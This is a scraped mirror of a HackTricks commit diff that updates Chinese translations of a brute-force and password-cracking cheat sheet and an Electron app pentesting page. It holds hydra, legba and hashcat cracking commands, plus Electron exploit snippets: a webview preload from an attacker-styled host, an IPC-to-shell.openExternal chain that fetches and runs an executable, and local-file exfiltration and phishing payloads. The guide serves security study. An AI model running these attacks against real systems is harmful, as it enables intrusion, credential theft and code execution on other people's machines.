mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/network-services-
This commit is contained in:
parent
3ba46fbb54
commit
d43ca18674
@ -1,4 +1,4 @@
|
|||||||
# 暴力破解 - 备忘单
|
# Brute Force - CheatSheet
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -21,7 +21,7 @@
|
|||||||
|
|
||||||
## **创建你自己的字典**
|
## **创建你自己的字典**
|
||||||
|
|
||||||
尽可能多地收集目标的信息并生成自定义字典。可能有帮助的工具:
|
尽可能多地收集关于目标的信息并生成自定义字典。可能有帮助的工具:
|
||||||
|
|
||||||
### Crunch
|
### Crunch
|
||||||
```bash
|
```bash
|
||||||
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
|||||||
^ Special characters including spac
|
^ Special characters including spac
|
||||||
crunch 6 8 -t ,@@^^%%
|
crunch 6 8 -t ,@@^^%%
|
||||||
```
|
```
|
||||||
### Cewl
|
### 基于网站的字典列表
|
||||||
```bash
|
```bash
|
||||||
|
# Cewl gets words from the victims page
|
||||||
cewl example.com -m 5 -w words.txt
|
cewl example.com -m 5 -w words.txt
|
||||||
|
|
||||||
|
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
|
||||||
|
cat /path/to/urls.txt | tok
|
||||||
|
|
||||||
|
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
|
||||||
|
cat /path/to/js-urls.txt | python3 getjswords.py
|
||||||
```
|
```
|
||||||
### [CUPP](https://github.com/Mebus/cupp)
|
### [CUPP](https://github.com/Mebus/cupp)
|
||||||
|
|
||||||
@ -46,7 +53,7 @@ python3 cupp.py -h
|
|||||||
```
|
```
|
||||||
### [Wister](https://github.com/cycurity/wister)
|
### [Wister](https://github.com/cycurity/wister)
|
||||||
|
|
||||||
一个词汇生成工具,允许您提供一组单词,使您能够从给定的单词中制作多个变体,创建一个独特且理想的词汇表,以便针对特定目标使用。
|
一个单词列表生成工具,允许您提供一组单词,使您能够从给定的单词中制作多个变体,创建一个独特且理想的单词列表,以便针对特定目标使用。
|
||||||
```bash
|
```bash
|
||||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||||
|
|
||||||
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
|||||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
```
|
```
|
||||||
### HTTP - Post 表单
|
### HTTP - Post Form
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||||
# Use https-post-form mode for https
|
# Use https-post-form mode for https
|
||||||
@ -275,7 +282,7 @@ legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin -
|
|||||||
```bash
|
```bash
|
||||||
pip3 install cx_Oracle --upgrade
|
pip3 install cx_Oracle --upgrade
|
||||||
```
|
```
|
||||||
[离线 OracleSQL 哈希暴力破解](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 和 **11.2.0.3**):
|
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 和 **11.2.0.3**):
|
||||||
```bash
|
```bash
|
||||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||||
```
|
```
|
||||||
@ -332,6 +339,8 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
|||||||
```bash
|
```bash
|
||||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||||
```
|
```
|
||||||
|
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||||
|
|
||||||
### Rsync
|
### Rsync
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||||
@ -391,13 +400,13 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
|||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||||
```
|
```
|
||||||
#### 弱 SSH 密钥 / Debian 可预测的 PRNG
|
#### 弱 SSH 密钥 / Debian 可预测 PRNG
|
||||||
|
|
||||||
一些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,可以使用工具如 [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) 进行暴力破解。也可以找到预生成的弱密钥集,如 [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
一些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,可以使用工具如 [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) 进行暴力破解。也可以找到预生成的弱密钥集,如 [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
||||||
|
|
||||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ 和 OpenMQ)
|
### STOMP (ActiveMQ, RabbitMQ, HornetQ 和 OpenMQ)
|
||||||
|
|
||||||
STOMP 文本协议是一种广泛使用的消息传递协议,**允许与流行的消息队列服务无缝通信和交互**,如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ。它提供了一种标准化和高效的方法来交换消息并执行各种消息操作。
|
STOMP 文本协议是一种广泛使用的消息传递协议,**允许与流行的消息队列服务如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ 进行无缝通信和交互**。它提供了一种标准化和高效的方法来交换消息和执行各种消息操作。
|
||||||
```bash
|
```bash
|
||||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
@ -440,8 +449,8 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|||||||
### 在线破解数据库
|
### 在线破解数据库
|
||||||
|
|
||||||
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||||
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 有/没有 ESS/SSP 和任何挑战值)
|
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 有/无 ESS/SSP 和任何挑战值)
|
||||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希, WPA2 捕获, 和 MSOffice, ZIP, PDF 的档案...)
|
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希, WPA2 捕获, 和 MSOffice, ZIP, PDF... 的档案)
|
||||||
- [https://crackstation.net/](https://crackstation.net) (哈希)
|
- [https://crackstation.net/](https://crackstation.net) (哈希)
|
||||||
- [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
- [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||||
- [https://gpuhash.me/](https://gpuhash.me) (哈希和文件哈希)
|
- [https://gpuhash.me/](https://gpuhash.me) (哈希和文件哈希)
|
||||||
@ -504,9 +513,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
|||||||
sudo apt-get install qpdf
|
sudo apt-get install qpdf
|
||||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||||
```
|
```
|
||||||
### PDF所有者密码
|
### PDF Owner Password
|
||||||
|
|
||||||
要破解PDF所有者密码,请查看此链接: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
要破解 PDF 拥有者密码,请查看此链接: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
```bash
|
```bash
|
||||||
@ -540,7 +549,7 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
|||||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||||
```
|
```
|
||||||
### Luks图像
|
### Lucks 图像
|
||||||
|
|
||||||
#### 方法 1
|
#### 方法 1
|
||||||
|
|
||||||
@ -606,27 +615,27 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
|||||||
|
|
||||||
**哈希示例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
**哈希示例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||||
|
|
||||||
### 哈希识别器
|
### Hash-identifier
|
||||||
```bash
|
```bash
|
||||||
hash-identifier
|
hash-identifier
|
||||||
> <HASH>
|
> <HASH>
|
||||||
```
|
```
|
||||||
### 字典
|
### Wordlists
|
||||||
|
|
||||||
- **Rockyou**
|
- **Rockyou**
|
||||||
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||||
- [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
- [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||||||
- [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
- [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||||
|
|
||||||
### **字典生成工具**
|
### **Wordlist Generation Tools**
|
||||||
|
|
||||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高级键盘行走生成器,具有可配置的基础字符、键盘映射和路线。
|
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高级键盘行走生成器,具有可配置的基本字符、键盘映射和路线。
|
||||||
```bash
|
```bash
|
||||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||||
```
|
```
|
||||||
### John mutation
|
### John mutation
|
||||||
|
|
||||||
阅读 _**/etc/john/john.conf**_ 并进行配置
|
读取 _**/etc/john/john.conf**_ 并进行配置
|
||||||
```bash
|
```bash
|
||||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||||
|
|||||||
@ -20,7 +20,7 @@ npx asar extract-file app.asar main.js #Extract just a file
|
|||||||
Electron 有 2 种进程类型:
|
Electron 有 2 种进程类型:
|
||||||
|
|
||||||
- 主进程(完全访问 NodeJS)
|
- 主进程(完全访问 NodeJS)
|
||||||
- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问)
|
- 渲染进程(出于安全原因,NodeJS 访问应受到限制)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -32,12 +32,12 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中进行 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。
|
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。
|
||||||
|
|
||||||
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
|
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
|
||||||
|
|
||||||
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 特性。
|
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 功能。
|
||||||
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不被隔离。
|
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不会隔离。
|
||||||
- **`preload`** - 默认情况下为空。
|
- **`preload`** - 默认情况下为空。
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
|
||||||
- Node Integration in Workers
|
- Node Integration in Workers
|
||||||
@ -71,7 +71,7 @@ spellcheck: true,
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
一些 **RCE payloads** 来自 [这里](https://7as.es/electron/nodeIntegration_rce.txt):
|
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||||
```html
|
```html
|
||||||
Example Payloads (Windows):
|
Example Payloads (Windows):
|
||||||
<img
|
<img
|
||||||
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
|
|||||||
|
|
||||||
### 绕过点击事件
|
### 绕过点击事件
|
||||||
|
|
||||||
如果在点击链接时施加了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
|
如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
@ -187,7 +187,7 @@ window.addEventListener('click', (e) => {
|
|||||||
|
|
||||||
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。
|
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。
|
||||||
|
|
||||||
当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要:
|
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用程序的安全性和功能至关重要:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
@ -224,13 +224,34 @@ window.open(
|
|||||||
)
|
)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
|
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||||
|
|
||||||
|
此漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
|
||||||
|
|
||||||
|
**webviewTag** 是一个 **已弃用的特性**,允许在 **渲染进程** 中使用 **NodeJS**,应禁用此特性,因为它允许在预加载上下文中加载脚本,如:
|
||||||
|
```xml
|
||||||
|
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||||
|
```
|
||||||
|
因此,成功加载任意页面的攻击者可以使用该标签来**加载任意预加载脚本**。
|
||||||
|
|
||||||
|
然后,该预加载脚本被滥用以调用**易受攻击的IPC服务(`skype-new-window`)**,该服务调用**`shell.openExternal`**以获取RCE:
|
||||||
|
```javascript
|
||||||
|
(async() => {
|
||||||
|
const { ipcRenderer } = require("electron");
|
||||||
|
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||||||
|
setTimeout(async () => {
|
||||||
|
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||||||
|
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||||||
|
}, 5000);
|
||||||
|
})();
|
||||||
|
```
|
||||||
## 读取内部文件:XSS + contextIsolation
|
## 读取内部文件:XSS + contextIsolation
|
||||||
|
|
||||||
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和提取本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
|
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和外泄本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
此外,还分享了另一种 **读取内部文件** 的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并提取数据:
|
此外,分享了另一种 **读取内部文件** 的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并外泄数据:
|
||||||
```html
|
```html
|
||||||
<br /><br /><br /><br />
|
<br /><br /><br /><br />
|
||||||
<h1>
|
<h1>
|
||||||
@ -248,7 +269,7 @@ frames[0].document.body.innerText
|
|||||||
```
|
```
|
||||||
## **RCE: XSS + 旧版 Chromium**
|
## **RCE: XSS + 旧版 Chromium**
|
||||||
|
|
||||||
如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的** **漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\
|
如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\
|
||||||
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **通过内部 URL 正则绕过进行 XSS 钓鱼**
|
## **通过内部 URL 正则绕过进行 XSS 钓鱼**
|
||||||
@ -262,23 +283,27 @@ webContents.on("will-navigate", function (event, url) {} // o
|
|||||||
```
|
```
|
||||||
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
|
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
|
||||||
|
|
||||||
如果该函数使用的**regex**对绕过**漏洞**(例如**未转义子域的点**)是**脆弱的**,攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**:
|
如果该函数使用的**正则表达式****易受绕过攻击**(例如**未转义子域名的点**),攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## Remote module
|
## `file://` 协议
|
||||||
|
|
||||||
Electron Remote模块允许**渲染进程访问主进程API**,促进Electron应用程序内的通信。然而,启用此模块会引入重大安全风险。它扩大了应用程序的攻击面,使其更容易受到跨站脚本(XSS)攻击等漏洞的影响。
|
如 [文档](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 中所述,运行在 **`file://`** 的页面可以单方面访问您机器上的每个文件,这意味着 **XSS 问题可以用来加载用户机器上的任意文件**。使用 **自定义协议** 可以防止此类问题,因为您可以将协议限制为仅提供特定文件集。
|
||||||
|
|
||||||
|
## 远程模块
|
||||||
|
|
||||||
|
Electron 远程模块允许 **渲染进程访问主进程 API**,促进 Electron 应用程序内的通信。然而,启用此模块会引入重大安全风险。它扩大了应用程序的攻击面,使其更容易受到跨站脚本 (XSS) 攻击等漏洞的影响。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 尽管**remote**模块将一些API从主进程暴露给渲染进程,但仅仅通过滥用组件并不容易获得RCE。然而,这些组件可能会暴露敏感信息。
|
> 尽管 **remote** 模块暴露了一些从主进程到渲染进程的 API,但仅仅滥用这些组件并不容易获得 RCE。然而,这些组件可能会暴露敏感信息。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 许多仍然使用remote模块的应用程序以**需要在渲染进程中启用NodeIntegration**的方式进行,这是一种**巨大的安全风险**。
|
> 许多仍在使用远程模块的应用程序以 **需要在渲染进程中启用 NodeIntegration** 的方式进行,这是一种 **巨大的安全风险**。
|
||||||
|
|
||||||
自Electron 14以来,由于安全和性能原因,Electron的`remote`模块可能在多个步骤中启用,**建议不要使用它**。
|
自 Electron 14 起,由于安全和性能原因,Electron 的 `remote` 模块可能在多个步骤中启用,因此 **建议不要使用它**。
|
||||||
|
|
||||||
要启用它,首先需要 **在主进程中启用它**:
|
要启用它,首先需要 **在主进程中启用它**:
|
||||||
```javascript
|
```javascript
|
||||||
@ -295,22 +320,22 @@ remoteMain.enable(mainWindow.webContents)
|
|||||||
```javascript
|
```javascript
|
||||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
```
|
```
|
||||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 指出了一些由远程模块的对象 **`app`** 暴露的有趣 **函数**:
|
该**[博客文章](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**指出了远程模块中对象**`app`**暴露的一些有趣的**函数**:
|
||||||
|
|
||||||
- **`app.relaunch([options])`**
|
- **`app.relaunch([options])`**
|
||||||
- **重新启动** 应用程序,通过 **退出** 当前实例并 **启动** 新实例。对于 **应用更新** 或重大 **状态变化** 很有用。
|
- **重新启动**应用程序,通过**退出**当前实例并**启动**一个新实例。对于**应用更新**或重大**状态变化**非常有用。
|
||||||
- **`app.setAppLogsPath([path])`**
|
- **`app.setAppLogsPath([path])`**
|
||||||
- **定义** 或 **创建** 一个目录来存储 **应用日志**。可以使用 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 来 **检索** 或 **修改** 日志。
|
- **定义**或**创建**一个目录以存储**应用日志**。可以使用**`app.getPath()`**或**`app.setPath(pathName, newPath)`**来**检索**或**修改**日志。
|
||||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
- **注册** 当前可执行文件作为指定 **协议** 的 **默认处理程序**。如有需要,可以提供 **自定义路径** 和 **参数**。
|
- **注册**当前可执行文件作为指定**协议**的**默认处理程序**。如果需要,可以提供**自定义路径**和**参数**。
|
||||||
- **`app.setUserTasks(tasks)`**
|
- **`app.setUserTasks(tasks)`**
|
||||||
- **添加** 任务到 **任务类别** 在 **跳转列表**(在 Windows 上)。每个任务可以控制应用程序如何 **启动** 或传递什么 **参数**。
|
- **添加**任务到**任务类别**中(在Windows上)。每个任务可以控制应用程序如何**启动**或传递什么**参数**。
|
||||||
- **`app.importCertificate(options, callback)`**
|
- **`app.importCertificate(options, callback)`**
|
||||||
- **导入** 一个 **PKCS#12 证书** 到系统的 **证书存储**(仅限 Linux)。可以使用 **回调** 来处理结果。
|
- **导入**一个**PKCS#12证书**到系统的**证书存储**中(仅限Linux)。可以使用**回调**来处理结果。
|
||||||
- **`app.moveToApplicationsFolder([options])`**
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
- **移动** 应用程序到 **应用程序文件夹**(在 macOS 上)。帮助确保 Mac 用户的 **标准安装**。
|
- **移动**应用程序到**应用程序文件夹**(在macOS上)。有助于确保Mac用户的**标准安装**。
|
||||||
- **`app.setJumpList(categories)`**
|
- **`app.setJumpList(categories)`**
|
||||||
- **设置** 或 **移除** 一个 **自定义跳转列表** 在 **Windows** 上。可以指定 **类别** 来组织任务如何显示给用户。
|
- **设置**或**移除****自定义Jump List**(在Windows上)。可以指定**类别**以组织任务如何呈现给用户。
|
||||||
- **`app.setLoginItemSettings(settings)`**
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
- **配置**在**登录**时启动的**可执行文件**及其**选项**(仅限macOS和Windows)。
|
- **配置**在**登录**时启动的**可执行文件**及其**选项**(仅限macOS和Windows)。
|
||||||
```javascript
|
```javascript
|
||||||
@ -319,7 +344,7 @@ Native.app.exit()
|
|||||||
```
|
```
|
||||||
## systemPreferences 模块
|
## systemPreferences 模块
|
||||||
|
|
||||||
在 Electron 中访问系统偏好设置和 **发出系统事件** 的 **主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的函数都是这个模块的 **一部分**。
|
在 Electron 中访问系统偏好设置和发出系统事件的 **主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的函数都是这个模块的 **一部分**。
|
||||||
|
|
||||||
**示例用法:**
|
**示例用法:**
|
||||||
```javascript
|
```javascript
|
||||||
@ -337,7 +362,7 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
* **监听** **本地 macOS 通知**,使用 NSDistributedNotificationCenter。
|
* **监听** **本地 macOS 通知**,使用 NSDistributedNotificationCenter。
|
||||||
* 在 **macOS Catalina** 之前,您可以通过将 **nil** 传递给 CFNotificationCenterAddObserver 来嗅探 **所有** 分发的通知。
|
* 在 **macOS Catalina** 之前,您可以通过将 **nil** 传递给 CFNotificationCenterAddObserver 来嗅探 **所有** 分布式通知。
|
||||||
* 在 **Catalina / Big Sur** 之后,沙盒应用仍然可以通过按 **名称** 注册通知来 **订阅** **许多事件**(例如,**屏幕锁定/解锁**、**卷挂载**、**网络活动**等)。
|
* 在 **Catalina / Big Sur** 之后,沙盒应用仍然可以通过按 **名称** 注册通知来 **订阅** **许多事件**(例如,**屏幕锁定/解锁**、**卷挂载**、**网络活动**等)。
|
||||||
|
|
||||||
### **getUserDefault / setUserDefault**
|
### **getUserDefault / setUserDefault**
|
||||||
@ -348,7 +373,7 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
|
|
||||||
* **setUserDefault** 可以 **修改** 这些偏好设置,可能会影响应用的 **配置**。
|
* **setUserDefault** 可以 **修改** 这些偏好设置,可能会影响应用的 **配置**。
|
||||||
|
|
||||||
* 在 **旧版 Electron**(v8.3.0 之前)中,只有 **标准套件** 的 NSUserDefaults 是 **可访问的**。
|
* 在 **旧版 Electron**(v8.3.0 之前)中,仅 **标准套件** 的 NSUserDefaults 是 **可访问的**。
|
||||||
|
|
||||||
## Shell.showItemInFolder
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
@ -370,7 +395,7 @@ pentesting-web/content-security-policy-csp-bypass/
|
|||||||
|
|
||||||
## **工具**
|
## **工具**
|
||||||
|
|
||||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个识别 Electron 应用程序中配置错误和安全反模式的工具。
|
